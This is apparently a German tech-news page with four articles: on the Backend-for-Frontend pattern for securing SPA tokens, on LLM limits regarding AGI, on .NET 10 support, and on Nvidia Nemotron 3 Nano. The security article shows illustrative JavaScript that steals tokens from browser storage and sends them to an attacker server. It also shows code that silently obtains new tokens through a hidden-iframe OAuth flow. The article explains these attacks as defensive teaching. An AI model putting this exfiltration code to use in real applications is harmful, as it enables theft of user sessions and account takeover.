Connect with us

Entwicklung & Code

Keine Chance dem Token-Klau: Das Backend-for-Frontend-Pattern


Single-Page Applications (SPAs) haben die Entwicklung von Webanwendungen grundlegend verändert – sie sind schneller, interaktiver und bieten eine desktopähnliche Benutzererfahrung. Doch mit diesem Fortschritt kam ein fundamentales Sicherheitsproblem: Wie speichert man Zugriffstoken sicher im Browser?

Weiterlesen nach der Anzeige


Martina Kraus

Martina Kraus

Martina Kraus beschäftigt sich schon seit frühen Jahren mit der Webentwicklung. Das Umsetzen großer Softwarelösungen in Node.js und Angular hat sie schon immer begeistert. Als selbstständige Softwareentwicklerin arbeitet sie vornehmlich mit Angular mit Schwerpunkt auf Sicherheit in Webanwendungen.

Während traditionelle Serveranwendungen sensible Authentifizierungsdaten sicher serverseitig verwalteten, sind SPAs darauf angewiesen, Access-Token und Refresh-Token direkt im Browser zu speichern – sei es im localStorage, sessionStorage oder im JavaScript-Speicher. Diese Token sind jedoch ein gefundenes Fressen für Angreifer: Ein einziger XSS-Angriff genügt, um vollständigen Zugriff auf Benutzerkonten zu erlangen.

Das Backend-for-Frontend-(BFF)-Pattern verlagert das Token-Management zurück auf den Server, wo es hingehört, ohne die Vorteile moderner Single-Page Applications zu opfern. Dieser Artikel wirft einen praxisnahen Blick auf das Backend-for-Frontend-Pattern, erklärt die dahinterliegenden Sicherheitsprobleme von SPAs und OAuth2 und zeigt, wie sich sichere Authentifizierung in moderne Webanwendungen integrieren lässt. Dabei geht es sowohl um die technischen Implementierungsdetails als auch um die verbleibenden Herausforderungen, wie den Schutz vor Cross-Site Request Forgery (CSRF).


enterJS 2026

enterJS 2026

(Bild: jaboy/123rf.com)

Call for Proposals für die enterJS 2026 am 16. und 17. Juni in Mannheim: Die Veranstalter suchen nach Vorträgen und Workshops rund um JavaScript und TypeScript, Frameworks, Tools und Bibliotheken, Security, UX und mehr. Vergünstigte Blind-Bird-Tickets sind bis zum Programmstart erhältlich.

Single-Page Applications sind per Definition „öffentliche Clients“ – sie können keine Geheimnisse sicher speichern, da ihr Code vollständig im Browser ausgeführt wird. Dennoch benötigen sie Zugriffstoken, um auf geschützte APIs zuzugreifen. Die logische Konsequenz: Die Token müssen irgendwo im Browser gespeichert werden. Genau hier liegt das Problem. Ob localStorage, sessionStorage oder In-Memory-Speicherung – alle Ansätze sind anfällig für Cross-Site-Scripting-(XSS)-Angriffe. Eingeschleuster Schadcode kann problemlos auf diese Speicherorte zugreifen und die Token an Angreifer weiterleiten.

Der RFC-Draft „OAuth 2.0 for Browser-Based Applications“ macht das Ausmaß des Problems deutlich: Sobald Angreifer bösartigen JavaScript-Code in der Anwendung ausführen können, haben sie praktisch unbegrenzten Zugriff auf alle im Browser gespeicherten Daten – einschließlich sämtlicher Zugriffstoken.

Weiterlesen nach der Anzeige

Es folgen einige dieser Angriffsvektoren im Detail.

Der direkteste Angriff: JavaScript-Code durchsucht alle verfügbaren Speicherorte im Browser und sendet gefundene Token an einen vom Angreifer kontrollierten Server:


// Angreifer-Code extrahiert Token
const accessToken = localStorage.getItem('access_token');
const refreshToken = sessionStorage.getItem('refresh_token');

fetch(' {
  method: 'POST',
  body: JSON.stringify({accessToken, refreshToken})
});


Listing 1: Typische Attacke per Single-Execution Token Theft

Dieser Angriff funktioniert unabhängig davon, wo Token gespeichert sind. Ob localStorage, sessionStorage oder in Memory (in einer JavaScript-Variable) – der Angreifer hat denselben Zugriff wie die legitime Anwendung.

Eine kurze Token-Lebensdauer (etwa 5-10 Minuten) kann den Schaden begrenzen, aber nicht verhindern. Wenn der Angriff innerhalb der Token-Lebensdauer stattfindet, ist er erfolgreich. Eine bessere Schutzmaßnahme ist die Aktivierung der Refresh Token Rotation. Hierbei wird bei jedem Token-Refresh das alte Refresh-Token invalidiert und ein neues ausgegeben:


Refresh Token Rotation

Refresh Token Rotation

Refresh Token Rotation

(Bild: Martina Kraus)

Wie die obige Abbildung zeigt, erhält man zu jedem neuen Access-Token einen neuen Refresh-Token. Angenommen, der Angreifer würde das Token-Paar einmalig stehlen, so erhielte dieser zwar temporären Zugriff während der Access-Token-Lebensdauer, aber bei der ersten Verwendung des gestohlenen Refresh-Tokens würde der Token-Provider eine Token-Wiederverwendung aufspüren (Refresh Token Reuse Detection). Dies löst eine vollständige Invalidierung der Token-Familie aus – sowohl das kompromittierte Refresh-Token als auch alle damit verbundenen Token werden sofort widerrufen, was weiteren Missbrauch verhindert.


Refresh Token Reuse Detection

Refresh Token Reuse Detection

Refresh Token Reuse Detection

(Bild: Martina Kraus)

Diese Schutzmaßnahme versagt jedoch komplett bei Persistent Token Theft. Statt Token einmalig zu stehlen, stiehlt hierbei der kontinuierlich überwachende Angreifer immer die neuesten Token, bevor die legitime Anwendung sie verwenden kann. Ein Timer-basierter Mechanismus extrahiert alle paar Sekunden die neuesten Token:


// Angreifer installiert kontinuierliche Token-Überwachung
function stealTokensContinuously() {
  const currentTokens = {
    access: localStorage.getItem('access_token'),
    refresh: localStorage.getItem('refresh_token')
  };

 // Neue Token sofort an Angreifer senden
 fetch(' {
    method: 'POST',
    body: JSON.stringify({
      timestamp: Date.now(),
      tokens: currentTokens
    })
  });
}
// Überwachung alle 10 Sekunden
setInterval(stealTokensContinuously, 10000);


Listing 2: Persistent Token Theft

Diese Attacke funktioniert durch eine implizite Application Liveness Detection: Der kontinuierliche Token-Diebstahl überträgt dem Angreifer-Server nicht nur die Token, sondern fungiert gleichzeitig als „Heartbeat-Signal“ der kompromittierten Anwendung. Schließt der Nutzer den Browser oder navigiert weg, bricht dieser Heartbeat ab – der Angreifer erkennt sofort, dass die legitime Anwendung offline ist. In diesem Zeitfenster kann er das zuletzt gestohlene Refresh-Token gefahrlos für eigene Token-Requests verwenden, ohne eine Refresh Token Reuse Detection zu triggern, da keine konkurrierende Anwendungsinstanz mehr existiert, die dasselbe Token parallel verwenden könnte.

Aktuelle OAuth2-Sicherheitsrichtlinien für SPAs zielen darauf ab, die JavaScript-Zugänglichkeit von Token zu reduzieren. Führende Identity Provider wie Auth0 by Okta raten explizit von localStorage-basierter Token-Persistierung ab und empfehlen stattdessen In-Memory-Storage mit Web-Worker-Sandboxing als Schutz vor XSS-basierten Token-Extraction-Angriffen – selbst wenn dies Session-Kontinuität über Browser-Neustarts hinweg verhindert.

Diese defensiven Token-Storage-Strategien wirken jedoch nur in einem Teil der Angriffsoberfläche. Selbst bei optimaler In-Memory-Isolation mit Web-Worker-Sandboxing bleibt ein fundamentales Architekturproblem bestehen: SPAs agieren als öffentliche OAuth-Clients ohne Client-Secret-Authentifizierung. Diese Client-Konfiguration ermöglicht es Angreifern, die Token-Storage-Problematik vollständig zu umgehen und stattdessen eigenständigen Authorization Code Flow zu initiieren – ein Angriffsvektor, der unabhängig von der gewählten Token-Speicherstrategie funktioniert.

Bei dem Angriff namens Acquisition of New Tokens ignoriert der Angreifer bereits vorhandene Token komplett und startet stattdessen einen eigenen, vollständig neuen Authorization Code Flow. Das ist besonders heimtückisch, weil er dabei die noch aktive Session des Nutzers oder der Nutzerin beim Token-Provider ausnutzt.

Dabei erstellt der Angreifer ein verstecktes iFrame und startet einen legitimen OAuth-Flow:


// Angreifer startet eigenen OAuth-Flow
function acquireNewTokens() {
  // Verstecktes iframe erstellen
  const iframe = document.createElement('iframe');
  iframe.style.display = 'none';
  
  // Eigenen PKCE-Flow vorbereiten
  const codeVerifier = generateRandomString(128);
  const codeChallenge = base64URLEncode(sha256(codeVerifier));
  const state = generateRandomString(32);
  
  // Authorization URL konstruieren
  iframe.src = ` +
    `response_type=code&` +
    `client_id=legitimate-app&` + // Nutzt die echte Client-ID!
    `redirect_uri= +
    `scope=openid profile email api:read api:write&` +
    `state=${state}&` +
    `code_challenge=${codeChallenge}&` +
    `code_challenge_method=S256&` +
    `prompt=none`; // Wichtig: Keine Nutzer-Interaktion erforderlich!
  
  document.body.appendChild(iframe);
  
  // Callback-Handling vorbereiten
  window.addEventListener('message', handleAuthCallback);
}

function handleAuthCallback(event) {
  if (event.origin !== ' return;
  
  const authCode = extractCodeFromUrl(event.data.url);
  if (authCode) {
    // Authorization Code gegen Tokens tauschen
    exchangeCodeForTokens(authCode);
  }
}


Listing 3: Acquisition of New Tokens

Der Token-Provider kann diesen Angreifer-initiierten Flow nicht von einer legitimen Anwendungsanfrage unterscheiden, da alle Request-Parameter identisch sind. Entscheidend ist dabei der prompt=none-Parameter, der eine automatische Authentifizierung ohne User-Interaktion ermöglicht. Diese Silent Authentication funktioniert durch Session-Cookies, die der Token-Provider zuvor im Browser des Nutzers gesetzt hat, um dessen Anmeldestatus zu verfolgen. Diese Session-Cookies lassen sich automatisch auch über das versteckte iFrame übertragen und validieren den Angreifer-Flow als legitime Anfrage einer bereits authentifizierten Session.

Die Grundvoraussetzung aller beschriebenen Angriffsvektoren ist die erfolgreiche Ausführung von Cross-Site-Scripting-Code im Kontext der Anwendung. Das wirft eine fundamentale Frage auf: Stellt Cross-Site Scripting (XSS) in modernen Webanwendungen überhaupt noch eine realistische Bedrohung dar?

XSS galt lange als gelöstes Problem – moderne Browser haben umfassende Schutzmaßnahmen implementiert, Frameworks bieten automatisches Escaping, und Entwicklerinnen und Entwickler sind für die Gefahren sensibilisiert. Doch die Realität zeigt ein anderes Bild: Derartige Angriffe haben sich weiterentwickelt und nutzen neue Angriffsvektoren, die klassische Schutzmaßnahmen umgehen.

Moderne Single-Page Applications integrieren durchschnittlich Hunderte von npm-Paketen. Ein einziges kompromittiertes Paket in der Dependency Chain genügt für vollständige Codeausführung im Browser. Das prominenteste Beispiel war das 2018 kompromittierte npm-Package event-stream mit zwei Millionen wöchentlichen Downloads, das gezielt Bitcoin-Wallet-Software angriff.

Content Security Policy kann nicht zwischen legitimen und kompromittierten npm-Paketen unterscheiden – der schädliche Code wird von einer vertrauenswürdigen Quelle geladen und ausgeführt. Ähnlich problematisch sind kompromittierte Content Delivery Networks oder Third-Party-Widgets wie Analytics-Tools, Chatbots oder Social-Media-Plug-ins.

Kompromittierte Browser-Erweiterungen haben vollständigen Zugriff auf alle Tabs und können beliebigen Code in jede Website injizieren. Gleichzeitig ermöglichen DOM-basierte XSS-Angriffe über postMessage-APIs oder unsichere DOM-Manipulation die Umgehung vieler serverseitiger Schutzmaßnahmen. Besonders geschickt sind Polyglot-Angriffe, die JSONP-Endpoints oder andere vertrauenswürdige APIs missbrauchen, um Content Security Policy zu umgehen – der Schadcode erscheint als legitimer Request von einer erlaubten Quelle.

Diese modernen XSS-Varianten sind besonders raffiniert, weil sie Vertrauen missbrauchen. Der schädliche Code stammt scheinbar von vertrauenswürdigen Quellen, wird oft zeitverzögert oder nur unter bestimmten Bedingungen ausgeführt und umgeht dadurch sowohl technische Schutzmaßnahmen als auch menschliche Aufmerksamkeit. Ein kompromittiertes npm-Paket betrifft dabei nicht nur eine Anwendung, sondern wird über den Package Manager an tausende von Projekten verteilt – ein einzelner Angriff kann so eine massive Reichweite erzielen.



Source link

Entwicklung & Code

Von den Grenzen großer Sprachmodelle und der Unerreichbarkeit von AGI und ASI


Die rasante Entwicklung großer Sprachmodelle hat eine intensive Debatte über ihr Potenzial ausgelöst, künstliche allgemeine Intelligenz und letztlich künstliche Superintelligenz zu erreichen.

Weiterlesen nach der Anzeige


Michael Stal

Michael Stal

Prof. Dr. Michael Stal arbeitet seit 1991 bei Siemens Technology. Seine Forschungsschwerpunkte umfassen Softwarearchitekturen für große komplexe Systeme (Verteilte Systeme, Cloud Computing, IIoT), Eingebettte Systeme und Künstliche Intelligenz.

Er berät Geschäftsbereiche in Softwarearchitekturfragen und ist für die Architekturausbildung der Senior-Software-Architekten bei Siemens verantwortlich.

Obwohl diese Systeme bemerkenswerte Fähigkeiten in den Bereichen Sprachverarbeitung, Schlussfolgerungen und Wissenssynthese aufweisen, deuten grundlegende architektonische und theoretische Einschränkungen darauf hin, dass sie die Lücke zu echter allgemeiner Intelligenz nicht schließen können. Diese Analyse untersucht die zentralen technischen Hindernisse, die aktuelle LLM-Paradigmen daran hindern, AGI oder ASI zu erreichen.

Künstliche allgemeine Intelligenz (AGI – Artificial General Intelligence) ist eine hypothetische Form der künstlichen Intelligenz, die die kognitiven Fähigkeiten des Menschen in allen Bereichen des Wissens und der Schlussfolgerungen erreicht oder übertrifft. Im Gegensatz zu schmalen KI-Systemen, die für bestimmte Aufgaben entwickelt wurden, würde AGI eine flexible Intelligenz aufweisen, die in der Lage ist, Wissen in jedem Bereich mit der gleichen Leichtigkeit wie die menschliche Intelligenz zu lernen, zu verstehen und anzuwenden. Zu den Hauptmerkmalen von AGI gehören autonomes Lernen anhand minimaler Beispiele, Wissenstransfer zwischen unterschiedlichen Bereichen, kreative Problemlösung in neuartigen Situationen und die Fähigkeit, abstrakte Konzepte mit echtem Verständnis und nicht nur durch Mustererkennung zu verstehen und zu manipulieren.

Künstliche Superintelligenz (ASI – Artificial Superintelligence) geht über AGI hinaus und steht für eine Intelligenz, die die kognitiven Fähigkeiten des Menschen in allen Bereichen, einschließlich Kreativität, allgemeiner Weisheit und Problemlösung, bei weitem übertrifft. ASI würde die menschliche Intelligenz nicht nur erreichen, sondern um ein Vielfaches übertreffen und möglicherweise Erkenntnisse und Fähigkeiten erreichen, die für den Menschen unvorstellbar sind. Die Unterscheidung zwischen AGI und ASI ist entscheidend, da AGI eine allgemeine Intelligenz auf menschlichem Niveau darstellt, während ASI eine grundlegend andere Kategorie von Intelligenz impliziert.

Große Sprachmodelle sind in ihrer derzeitigen Form statistische Systeme, die auf der Grundlage umfangreicher Textkorpora trainiert werden, um das wahrscheinlichste nächste Token in einer Sequenz vorherzusagen. Diese Modelle lernen, Muster aus ihren Trainingsdaten zu komprimieren und zu reproduzieren, wodurch sie in der Lage sind, kohärente und kontextuell angemessene Antworten zu generieren. Ihre Funktionsweise unterscheidet sich jedoch grundlegend von der flexiblen, adaptiven Intelligenz, die AGI auszeichnet.

Weiterlesen nach der Anzeige

Die Transformer-Architektur, die den meisten aktuellen LLMs zugrunde liegt, bringt mehrere grundlegende Einschränkungen mit sich, die ihr Potenzial für allgemeine Intelligenz begrenzen. Der Aufmerksamkeitsmechanismus ist zwar leistungsstark für die Verarbeitung von Sequenzen, arbeitet jedoch mit festen Gewichtungsmatrizen, die während des Trainings gelernt wurden. Diese Gewichte kodieren statistische Beziehungen zwischen Token, können sich jedoch ohne erneutes Training nicht dynamisch an völlig neue Konzepte oder Domänen anpassen. Diese statische Natur steht in starkem Kontrast zur biologischen Intelligenz, die ihre neuronalen Verbindungen auf der Grundlage neuer Erfahrungen kontinuierlich anpasst.

Die Feedforward-Verarbeitung von Transformatoren schafft eine weitere bedeutende Einschränkung. Informationen fließen in einer Richtung durch die Netzwerkschichten, wodurch die für die menschliche Kognition charakteristische iterative, zyklische Verarbeitung verhindert wird. Das menschliche Denken beinhaltet kontinuierliche Rückkopplungsschleifen, in denen Konzepte höherer Ebene die Verarbeitung auf niedrigerer Ebene beeinflussen und umgekehrt. Dieser bidirektionale Fluss ermöglicht es dem Menschen, sein Verständnis durch Reflexion und Neukonzeption zu verfeinern – Fähigkeiten, die in aktuellen LLM-Architekturen noch fehlen.

Darüber hinaus führt der diskrete Tokenisierungsprozess, der die kontinuierliche menschliche Sprache in diskrete Token umwandelt, zu Informationsverlusten und schränkt die Fähigkeit des Modells ein, subtile Nuancen und kontextabhängige Bedeutungen zu verstehen. Die Verarbeitung der menschlichen Sprache erfolgt gleichzeitig auf mehreren Ebenen, von der phonetischen und morphologischen bis zur semantischen und pragmatischen Ebene, mit einer kontinuierlichen Integration über diese Ebenen hinweg. Der Engpass der Tokenisierung hindert LLMs daran, auf dieses gesamte Spektrum der Sprachverarbeitung zuzugreifen.

Das Ziel der Vorhersage des nächsten Tokens, das das LLM-Training antreibt, schafft grundlegende Einschränkungen in der Art und Weise, wie diese Systeme Informationen verstehen und verarbeiten. Dieses Trainingsparadigma optimiert eher die statistische Korrelation als das kausale Verständnis, was zu einem ausgeklügelten Musterabgleich statt zu echtem Verständnis führt. Dieser Ansatz ermöglicht zwar beeindruckende Leistungen bei vielen Sprachaufgaben, versäumt es jedoch, die für allgemeine Intelligenz wesentlichen Fähigkeiten des kausalen Denkens und der Weltmodellierung zu entwickeln.

Der im LLM-Training verwendete Ansatz des überwachten Lernens stützt sich auf statische Datensätze, die eine Momentaufnahme des menschlichen Wissens zu einem bestimmten Zeitpunkt darstellen. Dies steht im Gegensatz zum menschlichen Lernen, das aktive Erkundung, Hypothesenbildung und -prüfung sowie die kontinuierliche Integration neuer Erfahrungen in das vorhandene Wissen umfasst. Menschen entwickeln Verständnis durch Interaktion mit ihrer Umgebung und bilden und verfeinern mentale Modelle auf der Grundlage von Rückmeldungen aus ihren Handlungen. LLMs fehlt diese interaktive Lernfähigkeit, und sie können kein echtes Verständnis durch Erfahrungslernen entwickeln.

Die Skalierungshypothese, die besagt, dass größere Modelle, deren Training mit immer mehr Daten erfolgt, letztendlich AGI erreichen, steht vor mehreren theoretischen Herausforderungen. Die einfache Vergrößerung des Modells und des Datensatzes berücksichtigt zwar die Quantität, aber nicht die qualitativen Unterschiede zwischen Mustererkennung und Verständnis. Das Entstehen neuer Fähigkeiten in größeren Modellen spiegelt oft eher eine ausgefeiltere Mustererkennung wider als grundlegende Veränderungen in der Form von Intelligenz. Ohne die zugrunde liegenden architektonischen und trainingsbezogenen Einschränkungen zu beseitigen, kann die Skalierung allein die Lücke zwischen statistischer Verarbeitung und echter Intelligenz nicht schließen.



Source link

Weiterlesen

Entwicklung & Code

Neu in .NET 10.0 [2]: Support für 36 Monate


close notice

This article is also available in
English.

It was translated with technical assistance and editorially reviewed before publication.

Während die vorherige, im November 2024 erschienene Version 9.0 Standard-Term-Support (STS) für 24 Monate (ursprünglich sogar nur 18 Monate, wurde verlängert am 16.09.2025) besitzt und daher noch bis zum November 2026 mit Updates versorgt wird, bietet Microsoft Aktualisierungen und technische Hilfe für .NET 10.0 als Long-Term-Support (LTS) für die Dauer von 36 Monaten an, also bis November 2028.

Weiterlesen nach der Anzeige


Der Dotnet-Doktor – Holger Schwichtenberg

Der Dotnet-Doktor – Holger Schwichtenberg

Dr. Holger Schwichtenberg ist technischer Leiter des Expertennetzwerks www.IT-Visions.de, das mit 53 renommierten Experten zahlreiche mittlere und große Unternehmen durch Beratungen und Schulungen sowie bei der Softwareentwicklung unterstützt. Durch seine Auftritte auf zahlreichen nationalen und internationalen Fachkonferenzen sowie mehr als 90 Fachbücher und mehr als 1500 Fachartikel gehört Holger Schwichtenberg zu den bekanntesten Experten für .NET und Webtechniken in Deutschland.

Der Support für das Ende 2023 erschienene .NET 8.0 mit Long-Term-Support (LTS) läuft noch bis 10. November 2026. Alle anderen .NET-Versionen vor Version 9 sind bereits aus dem Support gelaufen.


Diagramm .NET-Support

Diagramm .NET-Support

Erscheinungstermine und Support-Zyklen für das moderne .NET (Abb. 1)

(Bild: Holger Schwichtenberg)

Für einige von Microsoft veröffentlichte .NET-NuGet-Pakete, die nicht Teil des .NET-SDKs sind, gilt eine andere Support-Richtlinie.

Das betrifft folgende Paketfamilien:

  • Extensions.*, z.B. Microsoft.Extensions.Http.Resilience und Microsoft.Extensions.Telemetry
  • AspNetCore.*, z.B. Microsoft.AspNetCore.Testing und Microsoft.AspNetCore.Diagnostics.Middleware

Für diese Pakete gilt:

Weiterlesen nach der Anzeige

  • Es kann jeden Monat ein neues Minor-Release geben (9.1, 9.2, 9.3 usw.).
  • Es gibt immer nur Support für die jeweils aktuelle Version.
  • Die Regeln des Semantic Versioning werden nicht streng befolgt von Microsoft.

Die Liste der betroffenen NuGet-Pakete findet man auf der .NET-Site.


Screenshot Release Cadence

Screenshot Release Cadence

Microsoft erläutert den abweichenden Support für die .NET Platform Extensions (Abb. 2).

(Bild: Microsoft)


(rme)



Source link

Weiterlesen

Entwicklung & Code

Innovativ und fast vollständig Open-Source: Nvidia Nemotron 3 Nano


Kurz vor Weihnachten gab es für die LLM-Community eine unerwartete Überraschung: Nvidia veröffentlichte ein neues Modell mit dem Namen Nvidia-Nemotron-3-Nano-30B-A3B. Schon etwas früher war die Reddit-Community informiert, weil ein aufmerksamer Leser entdeckt hatte, dass ein weniger aufmerksamer Mitarbeiter von Nvidia versehentlich ein übergeordnetes Verzeichnis zu Hugging Face gepusht hatte. In dem am 15. Dezember 2025 veröffentlichten Nvidia-Modell stecken jede Menge neue Ideen, sodass sich ein genauerer Blick lohnt – auch weil es sich nur um das erste Modell aus einer ganzen Familie handelt.

Weiterlesen nach der Anzeige




Prof. Dr. Christian Winkler beschäftigt sich speziell mit der automatisierten Analyse natürlichsprachiger Texte (NLP). Als Professor an der TH Nürnberg konzentriert er sich bei seiner Forschung auf die Optimierung der User Experience.

Bisher waren die Nemotron-Modelle häufig Finetunes anderer Modelle wie Llama 3.1. Das hätte man aufgrund der ähnlichen Parameteranzahl eines Qwen3-Modells auch bei Nemotron 3 vermuten können. Bei Nemotron 3 hat Nvidia die Modelle von Grund auf neu trainiert und sich dafür eine neue Architektur ausgedacht. Die bisherigen Mixture-of-Experts-Layer (MoE) verwendet Nvidia dabei abwechselnd mit Mamba-Layern, die im strengen Sinne keine Transformer-Architektur nutzen. Der Vorteil ist eine deutlich höhere Ausführungsgeschwindigkeit und ein geringerer Speicherverbrauch, weil der Key-Value-Cache, der sich den Kontext merkt, in den Mamba-Layern nicht mit der Kontextlänge wächst. Vermutlich genau aus diesem Grund konnte Nvidia die Kontextlänge auf eine Million Token erhöhen. Das Modell eignet sich somit für sehr lange Dokumente.

Obwohl das Modell „Nano“ im Namen trägt, ist es nicht wirklich klein, sondern hat 31,6 Milliarden Parameter, von denen es bei jeder Token-Vorhersage 3,6 Milliarden verwendet. Das macht das Modell schnell, dazu tragen außerdem die leichter zu berechnenden Mamba-Layer bei. Nvidia spricht von einem Faktor 3,3 gegenüber vergleichbaren Modellen. Solche Zahlen lassen sich nicht einfach verifizieren, was ebenfalls für die von Nvidia genannte beste Genauigkeit für Reasoning, Coding, Benutzung von Tools und mehrstufigen Agenten-Aufgaben gilt. Hier muss sich das Modell erst noch in der Praxis beweisen.



Im Vergleich mit den Konkurrenten Qwen3-30B-A3B-Thinking-2507 und GPT-OSS-20B-A4B schneidet Nemotron 3 Nano in Nvidias Benchmarks sehr gut ab.

(Bild: Nvidia)

Direkt überprüfbar sind dagegen die Möglichkeiten, das Reasoning ein- und auszuschalten oder darüber die Anzahl der generierten Token zu begrenzen. Das ist besonders für agentische Aufgaben wichtig, weil sonst dort unkontrollierbar hohe Kosten entstehen können.

Nemotron Nano besteht aus 52 Layern mit einer Modelldimension von 2.688 und setzt auf 32 Attention-Heads. Die Mamba-Layern haben 128 Zustandsdimensionen in acht Gruppen, mit jeweils 64 Mamba-Heads in 64 Head-Dimensionen. Insgesamt gibt es 128 Experten, von denen zwei als Shared Experts arbeiten; weiterhin aktiviert das Modell sechs zusätzliche Experten. Da die Experten nur 1.856 Dimensionen haben, erklärt sich so die Anzahl der aktiven Parameter von 3,6 Milliarden. Abgesehen von den Mamba-Layern nutzen andere Modelle ähnliche MoE-Architekturen.

Weiterlesen nach der Anzeige

Was das Nemotron-Modell allerdings wirklich gegenüber fast allen anderen Modellen auszeichnet, sind die Trainingsdaten. Nahezu alle hat Nvidia veröffentlicht, genau wie auch die im Training verwendeten Algorithmen. Das haben bisher neben den Olmo- und Apertus-Modellen nur wenige Anbieter geleistet. Die Daten finden sich als Pre- und Post-Trainings-Datensatz auf Hugging Face.

Manche der Daten scheinen aus der Zukunft zu stammen und tragen ein Änderungsdatum von 20. Dezember 2025, ein offensichtlicher Fehler. Unabhängig davon reichen die Daten bis zum Juni 2025. Fragen nach dem Wissensstand beantwortet das Modell allerdings mit Juni 2024 – auch eine Inkonsistenz. Insgesamt stehen 10 Billionen Tokens zum Download in den Datensets zur Verfügung. Das lässt sich kaum mit bezahlbarer Hardware trainieren (oder feintunen), dennoch ist es sehr spannend, einen Blick in die Datensets zu werfen oder zumindest Teile davon zu verwenden. In jedem Fall werden die Modelle dadurch deutlich transparenter. Das Nano-Modell steht unter der Nvidia-Open-Model-Lizenz, damit ist auch die kommerzielle Nutzung und Veränderung gestattet.



Laut dem Artificial-Analysis-Index, der Offenheit und Intelligenz von Modellen erfassen will, kann Nemotron 3 Nano in beiden Kategorien gute Werte erzielen.

(Bild: https://blog.vllm.ai/2025/12/15/run-nvidia-nemotron-3-nano.html)

Deutlich mehr Informationen finden sich in Nvidias Blog-Artikel bei Hugging Face, im Nvidia-Blog, einem zugehörigen Whitepaper oder im technischen Bericht. Ein GitHub-Projekt enthält Cookbooks, die zeigen, wie man das Modell mit Frameworks wie SGLang oder vLLM verwendet.

Unter dem Pre- oder Base-Training versteht man den Teil, in dem das Modell mit sehr großen Datenmengen trainiert wird, um den jeweils nächsten Token vorherzusagen. Üblicherweise verbraucht das Pre-Training bei weitem am meisten Rechenkapazität, auch wenn sich das bei einigen Anbietern (wie Qwen) gerade ändert.

Für das Pre-Traning nutzt Nvidia den Warmup-Stable-Decay als Scheduler und trainiert das Modell mit 25 Billionen Token in 15 unterschiedlichen Kategorien. Dieses Pre-Training haben die Entwickler noch in zwei Phasen unterteilt, die erste Phase nutzt 23,5 Billionen Token aus relativ einfachen Texten, in einer zweiten Phase folgen 1,5 Billionen Token mit deutlich höherer Qualität.

Die größte der 15 Komponenten sind Daten aus dem Web Crawling (Common Crawl), die in fünf Teilbereiche mit verschiedenen Qualitätsstufen zerfallen (crawl-medium, crawl-medium-high, syn-crawl-medium-high, crawl-high, syn-crawl-high). Neben den Crawling-Daten enthält der Mix auch mathematische Daten, weitere aus Wikipedia, speziellen Programmcode und verschiedene andere.

Im Pre-Training verwendet Nvidia auch synthetische Daten, die normalerweise für das Supervised Finetuning Verwendung finden. Unter Crawl++ versteht Nvidia Daten, die aus OpenWebText, BigScience und Reddit kommen. Das Pre-Training erfolgt in 19 Sprachen: Arabisch, Chinesisch (vermutlich Mandarin), Tschechisch, Dänisch, Flämisch, Finnisch, Französisch, Deutsch, Hebräisch, Hindi, Italienisch, Japanisch, Koreanisch, Portugiesisch, Polnisch, Russisch, Spanisch, Schwedisch und Thai. Daten mit höherer Qualität erhalten von Nvidia ein höheres Gewicht im Training; der technische Bericht schweigt sich aber darüber aus, wie die Qualität bestimmt wird.

In den unterschiedlichen Phasen arbeitet Nvidia mit verschieden langen Kontexten. RoPE (Rotational Position Embeddings zur Vergrößerung des Kontexts) benutzt Nvidia dabei wegen der Mamba-Layer zwar nicht, aber mit den höherwertigen Inhalten wird der Kontext auf bis zu 512K Token erhöht. Nemotron-3-Nano trainiert Nvidia in bfloat16, für die größeren Varianten, die noch nicht erschienen sind, kommt das viel kompaktere NVFP4 zum Einsatz. Nvidia behauptet, damit keine großen Quantisierungsfehler zu machen. Nvidia hat auch die nach dem Pre-Training entstandenen Basis-Modelle veröffentlicht, die noch nicht feingetunt sind.

Post-Training

Das Post-Training unterteilt Nvidia in drei Phasen, ein Supervised Finetuning (SFT), ein Reinforcement Learning with Verifiable Rewards (RLVR) für unterschiedliche Umgebungen und schließlich ein Reinforcement Learning with Human Feedback (RLHF).

In der SFT-Phase nutzt Nvidia eine Kontextlänge von 256k Token und Trainingsdaten aus Chats, Dialogen mit Agenten und Reasoning. Letzteres soll dabei helfen, dem Modell ein Limit für das Reasoning anzutrainieren oder es ganz auszuschalten, damit es nicht zu viele Token und damit Kosten erzeugt. Das Modell lernt an dieser Stelle, Reasoning mit Tools durchzuführen. Die Daten hat Nvidia in unterschiedliche Bereiche getrennt: mathematische Probleme mit formalen Beweisen, Programmcode, wissenschaftliche und Softwarethemen sowie verschiedene Sprachen. Auch die Sicherheit berücksichtigt Nvidia hier, damit das Modell seine Grenzen nicht überschreitet. Sehr spezifisch für Nvidia sind die CUDA-Trainingsdaten, Nemotron beherrscht also auch diese Programmiersprache.

Beim RLVR trainiert Nvidia mit Daten in ganz ähnlichen Bereichen parallel. Der Fokus liegt hier auf verifizierbaren Ergebnissen, Programme müssen etwa Unit-Tests durchlaufen. Nvidia erklärt leider nicht, ob es ähnlich wie DeepSeek V3.2 auch die einzelnen Prozessschritte verifiziert, möglicherweise ist das noch eine Optimierung, die zu einem späteren Zeitpunkt eingesetzt werden kann. Der Kontext ist bei RLVR mit 256k Token etwas kleiner als beim SFT.

Neue Ideen bringt Nvidia beim RLHF ein und nutzt ein generatives Belohnungsmodell (GenRM), interessanterweise ein großes Qwen3-Modell (Qwen3-235B-A22B-Thinking-2507). Das Qwen3-Modell wird zunächst feingetunt: Im Trainingsprozess bewertet es mit seinen Reasoning-Fähigkeiten zwei Antworten danach, wie hilfreich sie sind. Die Korrektheit überprüft Nvidia anhand eines synthetischen Datensatzes und dem HelpSteer3-Datenset. Sobald GenRM trainiert ist, kommt es im eigentlichen Reinforcement Learning zum Einsatz und bewertet 16 mögliche Antworten von Nemotron. Um nicht alle 120 möglichen Kombinationen zu bewerten, vergleicht GenRM jeweils nur eine Antwort mit der jeweils nächsten (und die letzte mit der ersten), was zu 16 Bewertungen führt. Das Human Feedback hat Nvidia hier also durch das GenRM-Feedback ersetzt und kann damit sehr viel besser skalieren – an der notwendigen Hardware wird es kaum mangeln. Es ist fast schon erstaunlich, dass Nvidia nicht alle 120 Vergleiche durchführt.

Am Ende quantisiert Nvidia das bfloat16 Modell noch auf FP8 und zeigt, dass damit fast keine Qualität verloren geht. Vermutlich hat man das auch mit NVFP4 probiert und dabei schlechtere Ergebnisse erzielt und daher die größeren Modelle gleich in diesem Datenformat trainiert.

